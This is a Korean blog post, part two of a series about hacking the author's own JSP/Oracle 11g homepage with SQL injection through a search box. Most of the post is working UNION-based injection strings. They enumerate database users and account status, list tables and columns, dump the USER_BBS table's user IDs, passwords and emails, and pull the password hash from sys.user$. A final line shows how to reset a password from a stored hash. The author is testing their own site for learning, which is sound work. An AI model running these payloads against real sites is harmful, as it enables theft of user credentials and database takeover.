내가 만든 홈페이지 해킹하기(2)

Jang Seok Woo·2020년 9월 15일
0

보안

목록 보기
8/19
post-thumbnail

내가 만든 홈페이지 해킹하기(2)

SQL Injection (2)

개발 환경 : Oracle 11g, JSP

검색창 부분 injection으로 얼마나 어디까지 정보를 알 수 있을지 찾아보며 실험해 보았다.

1. DB명/ 유저명

DB 이름은 지난 번에 알아보았다. 그렇다면 유저 리스트를 알 수 있을까? 또 현재 이 홈페이지는 그 중 어떤유저의 DB로 연동되어있는지 알 수 있을까?

먼저 유저 리스트를 불러오는 쿼리는

select * from all_users;

검색창에

&&' union select 0,user_id,username,'0','YYYY-MM-DD-hh24:mi:ss','0',0 from all_users) --

를 입력해 결과를 보자

유저 리스트를 확인할 수 있다.

각 유저의 정보를 알아보자

select username, account_status, lock_date from dba_users;

락되어있는지 오픈되어있는지 정도 알아보자 lock_date는 날짜type 데이터라 맞추기 까다로워 그냥 상태만 불러와보았다.

&&' union select 0,0,username, account_status,'YYYY-MM-DD-hh24:mi:ss' ,'0',0 from dba_users) --

그 중 지금 어떤 유저로 접속중인가?

SELECT user FROM dual;
&&' union select 0,0, user, user,'YYYY-MM-DD-hh24:mi:ss','0',0 from dual) --

현재 접속중인 유저는 JSW임을 확인했다.

2. 현 유저가 가지고 있는 데이터 테이블명과 테이블의 컬럼정보

JSW 유저로 접속이 되어있다. 이 유저는 어떤 테이블들을 갖고 있으며, 테이블은 어떤 컬럼들을 갖고 있는지 알아보자

select tname, tabtype from tab;

이걸 union을 통해 넣어보면

' union select 0,0,tname,tabtype,'YYYY-MM-DD-hh24:mi:ss',tname,0 from tab) –

결과는 다음과 같이 나온다.

테이블 명과 테이블 타입이 나온다.

이 중 BBS라는 테이블은 어떤 컬럼들을 갖고 있으며 어떤 데이터타입일지 알아보자

select colno, width , tname, cname, coltype, 'a', 0 from col where tname='BBS';
' union select 0, colno , tname, cname, 'YYYY-MM-DD-hh24:mi:ss', coltype, width from col where tname='BBS') –

다음과 같이 컬럼명들이 나온다.

3. 게시판을 이용하는 유저들의 정보를 얻을 수 있을까?

테이블 중 USER_BBS라는 테이블 명이 누가봐도 유저 테이블인데 이 테이블의 데이터를 빼내보자

먼저 user_bbs가 어떤 컬럼들을 지녔는지 쿼리를 날려보자

' union select 0,0,cname,coltype,'YYYY-MM-DD-hh24:mi:ss',cname,0 from col where tname='USER_BBS') –

컬럼명이 USERID와 USERPASSWORD로 직관적이다 해당 정보를 불러와 보자

' union select 0,0,userid,userpassword,'YYYY-MM-DD-hh24:mi:ss',useremail,0 from user_bbs) --

비밀번호를 불러올 수 있었다.

그 외에

4. 기타 시도

DB정보 불러오기

select * from v$version where rownum < 2

DB 이름 불러오기

SELECT global_name FROM global_name;

현재 접속한 DB유저의 비밀번호 불러오기

select name, password from sys.user$ where name = 'JSW';
&&' union select 0,0, name, password,'YYYY-MM-DD-hh24:mi:ss','0',0 from sys.user$ where name = 'JSW') --

해시값이 적용된 비밀번호가 나온다.

해당 비밀번호를 갖고 할 수 있는 일을 찾아봤으나 아직 잘 모르겠다 그나마

alter user "FRED" identified by values '15EC3EC6EAF863C';

이런식으로 비밀번호를 변경할 수 있다는 정도? 이걸로 해시값을 저장해둔 후 비밀번호가 잘 못변경됬을 시 다시 돌려 놓을 수 있다.

profile
https://github.com/jsw4215

0개의 댓글